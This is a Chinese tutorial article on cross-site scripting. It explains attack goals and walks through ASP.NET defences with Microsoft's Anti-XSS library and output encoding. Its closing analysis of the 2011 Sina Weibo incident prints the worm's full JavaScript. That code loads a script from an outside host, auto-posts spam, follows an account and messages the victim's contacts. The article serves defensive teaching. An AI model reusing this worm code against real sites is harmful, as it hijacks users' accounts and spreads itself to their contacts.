浅谈跨网站脚本攻击(XSS)的手段与防范(简析新浪微博XSS攻击事件)

来源:互联网 发布:龙霸点歌机网络加歌 编辑:程序博客网 时间:2024/05/01 09:07

本文主要涉及内容:

  1. 什么是XSS
  2. XSS攻击手段和目的
  3. XSS的防范
  4. 新浪微博攻击事件


什么是XSS

跨网站脚本(Cross-sitescripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。


XSS攻击手段和目的

攻击者使被攻击者在浏览器中执行脚本后,如果需要收集来自被攻击者的数据(如cookie或其他敏感信息),可以自行架设一个网站,让被攻击者通过JavaScript等方式把收集好的数据作为参数提交,随后以数据库等形式记录在攻击者自己的服务器上。

常用的XSS攻击手段和目的有:

  •  盗用 cookie ,获取敏感信息。
  •  利用植入 Flash ,通过 crossdomain 权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
  • 利用 iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
  • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
  • 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。

预防手段【asp.net】

下面展示,如何使用微软Anti-Cross Site 类库来免受XSS攻击。该类库不同于大部分采用包裹原则技术的编码类库来避免XSS攻击。它通过定义一个验证或被允许的字符集来工作,并且编码任何该字符集之外的一切字符(比如他们就可能使无效字符或潜在的攻击)。它提供了比其他编码模式更多的优势。

示例应用

Contoso Bookmark Page 是一个简单的web应用,被设计用来允许朋友之间共享他们最喜欢的书签。用户键入他们的名字,描述以及书签或者书签的链接


数据被保存在App Dataweb应用程序的一个称之为bookmarks.txt的文件中。并且在应用程序显示任何已被保存的书签时读取。当一个书签被提交,用户将看到下面的显示,然后被提供一个链接来回到原来的页面。


如果应用程序成功地保存了用户提供的数据,书签的列表将被更新,任何其他的使用该应用的用户都可以使用这些被保存的书签。


最终用户可以通过点击“DeleteBookmark File”来重置书签文件,这将导致bookmarks.txt文件从硬盘上删除。

 

攻击该应用

为了让一个恶意用户对应用发起XSS攻击,它们首先需要找到一些攻击的先决条件:

  • 该应用是不验证输入的
  • 该应用不对输出编码并且其中包含了一些不可信的输入

Contoso Bookmark Page应用的一个区域——感谢页面,就符合上面的这些“攻击条件”。当一个用户提交一个链接并且数据被保存,应用会通过响应提交的内容来“感谢”用户。


注意,感谢页面的输出是通过使用没有验证的不可信的用户输入,并且在响应数据中使用了该输入而没有进行编码。对感谢页面代码的快速检查可以证明这一点。

一个恶意用户可以简单地利用该XSS攻击条件,通过欺骗用户来访问ThankYou.aspx页面,于此同时传入诸如<script>alert(‘XSSVector!’)</script>到用户名字段中。


就像你上面看到的那样,脚本被恶意用户注入并在信任的用户浏览器中被执行。

下面一节,我们将通过一个正式的过程来识别或减轻这些问题。

注意:在XSS载体已经实施后之后,发现这些问题将会变得很快且很有价值。但如果有一种方式在软件开发的生命周期内致力于在任何代码执行或资源提交之前做早期预测以及历届应用程序的威胁,这样的代价岂不是非常巨大?是的,而且这是一个过程,我们在这里使用微软IT所谓的“威胁建模”来称呼它。


保护你的应用

为了保护ContosoBookmark Page应用免受攻击,我们首先需要理解恶意用户能够使用哪些手段来进行这样的攻击。一种不错的想法是,我们应该在设计的时候就应该留意它,使用威胁建模以及一个诸如TAM的工具。我们在应用程序已经被部署之后,使用如下步骤来处理:

  • 步骤一:审查asp.net代码生成的输出
  • 步骤二:决定是否输出包含危险的输入参数
  • 步骤三:决定是否将不被信任的输入上下文作为输出使用
  • 步骤四:对输出编码

在这一节,我们将使用示例应用来贯穿这些步骤,然后看看我们应该怎样使用微软的Anti-Cross Site Scripting类库 V1.5来避免用户遭受XSS攻击。


步骤一:审查asp.net生成输出的代码

记住,为了完成一次成功得XSS攻击,恶意用户必须找到一种方式在应用程序的输出数据中嵌入他们的某些恶意输入。因此,我们需要识别出应用程序中产生输出的代码。这通常不是一件非常简单的任务,特别对那些大型项目而言,并且有些输出可能确实不必要进行编码。这些情况下,下面的表格可以帮助你处理这些大量数据:

用例场景

场景输入

输入可信?

场景输出

输出中包含不可信的输入?

需要编码?

使用编码方法

 

 

Yes/no

 

Yes/no

Yes/no

 

为了正确使用该表格,我们首先要知道我们的应用是干嘛的。表格中的一些项我们可以立即填写:

  •   用例场景
  •   用例场景需要的输入
  •   输入是否可信
  •   场景的输出

注意:如果你不确信输入是否可信,宁可谨慎一点,假设他们是不可信的。不可信的输入包括:

  应用程序级别的全局变量

  •   Cookies
  •   数据库
  •   表单字段
  •   查询字符串变量
  •   Session变量

基于我们的示例项目,这里我们对该表格可以这样填写:

用例场景

场景输入

输入可信?

场景输出

输出中包含不可信的输入?

需要编码?

使用编码方法

用户添加书签

用户名、描述、书签

no

写入文件的书签实体

 

 

 

应用程序“答谢”用户

用户名称

No

感谢信息页面

 

 

 

这时,当我们客观地填写了该表格,我们就可以很直观地看出,代码中有哪些是完成输出的:

  •  将书签实体写入文件的代码
  •  为用户生成感谢信息页面的代码

步骤二:决定是否输出中包含不可信的输入

在该步骤中,我们的目标是确定,是否在上一步筛选的输出中是否包含有任何不可信的用户输入。基于输入和输出场景,现在我们的表格看起来就像如下这样:

用例场景

场景输入

输入可信?

场景输出

输出中包含不可信的输入?

需要编码?

使用编码方法

用户添加书签

用户名、描述、书签

no

写入文件的书签实体

Yes

 

 

应用程序“答谢”用户

用户名称

No

感谢信息页面

yes

 

 

注意:如果你不确定输出中是否包含不确定的输入,保险点,假设他们都是不可信的。

 

步骤三:决定是否使用编码函数

在该步骤,我们的目标是理解我们需要采用哪个编码方法来编码我们的响应数据。如果在表格中下面的条件完全满足,那么输出就有编码的必要:

  •   输入不可信(第三列有一个No输出)
  •   输出包含不可信的输入(第五列有一个yes输出)
  •   输出在web响应数据的上下文中使用

用例场景

场景输入

输入可信?

场景输出

输出中包含不可信的输入?

需要编码?

使用编码方法

用户添加书签

用户名、描述、书签

no

写入文件的书签实体

Yes

No(输出被写入文件而不是web响应的数据)

 

应用程序“答谢”用户

用户名称

No

感谢信息页面

yes

yes

 

最终,我们需要决定使用哪个编码函数。接下来的表格将帮助你决定使用哪个编码函数:

编码函数

应该使用的场景

示例/模式

HtmlEncode

不可信的输入被用作html输出,被分配给一个html属性除外

<a href="http://www.contoso.com">Click Here [Untrusted input]</a>

HtmlAttributeEncode

不可信的输入作为一个html属性

<hr noshade size=[Untrusted input]>

JavaScriptEncode

不可信的输入作为一个javascript上下文

<script type="text/javascript">

[Untrusted input]

</script>

UrlEncode

不可信的输入作为一个url(例如作为一个查询参数的值)

<a href="http://search.msn.com/results.aspx?

q=[Untrusted-input]">Click Here!</a>

VisualBasicScriptEncode

不可信的输入作为一个visual basic上下文

<script type="text/vbscript" language="vbscript">

[Untrusted input]

</script>

XmlEncode

不可信的输入作为一个xml输出,除了把它作为一个xml节点的属性

<xml_tag>[Untrusted input]</xml_tag>

XmlAttributeEncode

不可信的输入作为一个xml的属性

<xml_tag attribute=[Untrusted input]>Some Text</xml_tag>

我们最终的表格看起来变成下面的样子:

用例场景

场景输入

输入可信?

场景输出

输出中包含不可信的输入?

需要编码?

使用编码方法

用户添加书签

用户名、描述、书签

no

写入文件的书签实体

Yes

No(输出被写入文件而不是web响应的数据)

m/a

应用程序“答谢”用户

用户名称

No

感谢信息页面

yes

yes

用户名(当我们写入HTML上下文中时采用HtmlEncode)

根据我们的表格,我们仅需要编码不可信的输入。

 

步骤四:编码输出

现在,我们已经决定了在什么场景下需要编码,其他需要做的就是将微软的Anti-Cross Site 类库加入到我们的项目中取,然后编码不可信的输入并将其内嵌到响应数据中。

在你安装了微软的Anti-CrossSite scripting类库之后,你可以通过如下步骤将引用添加到你的asp.net应用中去。

1、 右击项目名称

2、 选择添加引用选项

3、 在浏览弹出框中,选择安装的类库目录(%program files%\Microsoft Corporation\Anti-Cross Site ScriptingLibrary V1.5\Library\[.NET 1.1|.NET 2.0])然后将dll添加到项目中。

 

当我们已经添加了对Anti-CrossSite scripting类库的引用之后,我们就可以对感谢页面的输出进行编码。

1、 打开ThankYou.aspx的code-behind页面

2、 直接在引用中添加Microsift.Security.Application

3、在页面的Page_Load方法中,替代接下来的代码:
// Get the query string parameter 'Name', if it wasn't specified don't write anything         String Name = Request.QueryString["Name"];
替代

// Get the query string parameter 'Name', if it wasn't specified don't write anything         String Name = AntiXss.HtmlEncode(Request.QueryString["Name"]);

4、 重新编译web应用

现在任何企图通过注入脚本到Name查询字符串字段的方式将会失败,因为不信任的数据以及被AntiXss.HtmlEncode方法嵌入到一个不可知性的表单中去了。

注意:一个通常的错误是编码不止一次是错误的。这经常会导致输入显示得不正确。例如,一个Hello Microsoft!的输入,被传入Microsoft.Security.Application.AntiXss.HtmlEncode方法中两次,将会导致浏览器打印出HelloMicrosoft&#38;&#35;33&#59;记住,你只需对不可信的输入编码一次即可。

 

深度剖析

为了使恶意用户的攻击变得更加困难,这里有一个定义能够防止更深度的XSS恶意攻击。

  • 将asp.net的validateRequest属性设置为true
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="ThankYou.aspx.cs" Inherits="ThankYou"    validateRequest="true" %>

  •  对所有的用户输入执行验证。
  •  当不与XSS攻击有关的时候,一个额外的步骤可以帮助我们减少被攻击的危险,通过在应用程序启动的时候,给其设置一个更低级别的权限。在默认情况下,应用程序是以完全信任的方式启动的。所以,当一个恶意用户访问应用的时候,他也是以一个完全可信的权限来执行相关操作。我们的应用简单地创建一个文件或者向一个文件执行写操作或者读操作,这不需要完全信任的权限来执行这些。我们可以降低它的信任级别到“中级”通过在配置文件中进行如下设置。

<?xml version="1.0"?><configuration xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0">    <system.web>         <!-- Lowers trust level of application to only what we need, instead of full -->         <trust level="Medium"/>           </system.web></configuration>

另外的XSS攻击

我们忘记了一种用例场景。那就是用户看到的正确加载书签的地方(例如,另一个用户简单地导航到主页面)。在这种情况下,该场景的输入是bookmarks.txt文件。就算我们解决了感谢页面的问题,数据(诸如的脚本等)仍然被保存到了bookmarks.txt中。


当用户刷新主页面以及打印出来的书签,注入的脚本仍将被执行。


注意,用户也能够将脚本注入到描述以及书签字段,而不仅仅只是名称字段。我们需要编码任何我们需要从书签文件中读取的数据,因为我们将打印到浏览器上。


新浪微博的攻击事件

(2011年6月28日),新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等微博和私信,并自动关注一位名为hellosamy的用户。

事件的经过线索如下:

20:14,开始有大量带V的认证用户中招转发蠕虫

20:30,2kt.cn中的病毒页面无法访问

20:32,新浪微博中hellosamy用户无法访问

21:02,新浪漏洞修补完毕


XSS攻击代码简析

function createXHR(){return window.XMLHttpRequest?new XMLHttpRequest():new ActiveXObject("Microsoft.XMLHTTP");}function getappkey(url){xmlHttp = createXHR();xmlHttp.open("GET",url,false);xmlHttp.send();result = xmlHttp.responseText;id_arr = '';id = result.match(/namecard=\"true\" title=\"[^\"]*/g);for(i=0;i<id.length;i++){sum = id[i].toString().split('"')[3];id_arr += sum + '||';}return id_arr;}function random_msg(){link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;var msgs = ['郭美美事件的一些未注意到的细节:','建党大业中穿帮的地方:','让女人心动的100句诗歌:','3D肉团团高清普通话版种子:','这是传说中的神仙眷侣啊:','惊爆!范冰冰艳照真流出了:','杨幂被爆多次被潜规则:','傻仔拿锤子去抢银行:','可以监听别人手机的软件:','个税起征点有望提到4000:'];var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;msg = encodeURIComponent(msg);return msg;}function post(url,data,sync){xmlHttp = createXHR();    xmlHttp.open("POST",url,sync);    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");    xmlHttp.send(data);}function publish(){url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';post(url,data,true);}function follow(){url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';post(url,data,true);}function message(){url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';ids = getappkey(url);id = ids.split('||');for(i=0;i<id.length - 1 & i<5;i++){msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();msg = random_msg();msg = encodeURIComponent(msg);user = encodeURIComponent(encodeURIComponent(id[i]));data = 'content=' + msg + '&name=' + user + '&retcode=';post(msgurl,data,false);}}function main(){try{publish();}catch(e){}try{follow();}catch(e){}try{message();}catch(e){}}try{   x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);}catch(e){}main();var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

这段代码相对来讲,还是有点含量的,它使微博广场的URL在请求中注入了JS文件,JS请求完成后,会自动执行,并借发布的微博(包含了对攻击站点的链接)等对2kt.cn的站点完成了攻击。可以看到,其中的main函数,它调用了publish、follow、message几个函数,帮你做那些坏事。

 

总结

可见XSS攻击的方式其实还是很多的,让你防不慎防。但是,有时你会发现他们的某些共性——注入再利用浏览器自动执行。所以,你必须在不可信的输入与输出上严格把关!

参考与引用:

酷壳:新浪微博的XSS攻击

MSDN